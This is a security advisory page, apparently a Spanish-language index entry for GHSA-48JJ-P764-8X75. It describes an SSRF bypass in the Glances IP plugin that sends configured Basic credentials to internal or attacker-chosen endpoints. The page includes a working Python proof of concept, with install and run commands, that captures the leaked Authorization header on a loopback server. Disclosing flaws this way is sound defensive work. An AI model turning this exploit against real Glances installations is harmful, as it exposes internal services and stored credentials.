GHSA-48JJ-P764-8X75
SSRF vulnerability in the Glances IP plugin
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 4.5.7 | glances · -15 d desde divulgación | |
| Divulgación | Publicada | GHSA-48JJ-P764-8X75 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Hi,
We found a server-side request forgery (SSRF) vulnerability in the Glances IP
plugin. A configured `public_api` can still reach loopback and other internal
HTTP services. When credentials are configured, Glances sends the Basic
Authorization header to that destination. This is a bypass of the destination
restriction added for
CVE-2026-35587 https://nvd.nist.gov/vuln/detail/CVE-2026-35587.
Proof of Concept
Save this as `poc.py`:
import base64, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from glances.plugins.ip import ThreadPublicIpAddress
class InternalService(BaseHTTPRequestHandler):
authorization = None
def do_GET(self):
InternalService.authorization = self.headers.get("Authorization")
body = json.dumps({"ip": "127.0.0.1", "source": "internal"}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *_):
pass
server = HTTPServer(("127.0.0.1", 0), InternalService)
thread = threading.Thread(target=server.handle_request)
thread.start()
url = f"http://127.0.0.1:{server.server_port}/metadata"
result = ThreadPublicIpAddress(url, "grant", "secret", 300)._fetch_public_ip_info()
thread.join()
server.server_close()
expected = "Basic " + base64.b64encode(b"grant:secret").decode()
print({"response": result, "authorization_leaked": InternalService.authorization == expected})Run:
python -m venv .venv
.venv/bin/pip install glances==4.5.6
.venv/bin/python poc.pyThe PoC prints the internal response and `authorization_leaked: True`.
Why the Previous Patch Was Incomplete
The CVE-2026-35587 patch allows only HTTP and HTTPS schemes. It does not check
whether the resolved address is internal, so an HTTP URL can still reach the
same protected destinations and receive configured credentials.
Impact
An attacker in the original configuration-control threat model can make
Glances access internal HTTP services and disclose configured Basic
credentials to an attacker-controlled endpoint.
Affected Versions
`>= 4.5.4, <= 4.5.6`. We confirmed the vulnerability in the latest release,
`v4.5.6`, and in current main.
Classification
- CWE-918 — Server-Side Request Forgery (SSRF)
- Provisional severity: Moderate
Recommended Fix
Validate the resolved destination before each request and redirect.
Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.
Best,
Grant### Summary
_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._
### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
### Impact
_What kind of vulnerability is it? Who is impacted?_
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiglances |
Corregida | 4.5.7 | -15 d | 4.5.9 no afectada |
4.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nicolargo/glances/security/advisories/GHSA-48jj-p764-8x75Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
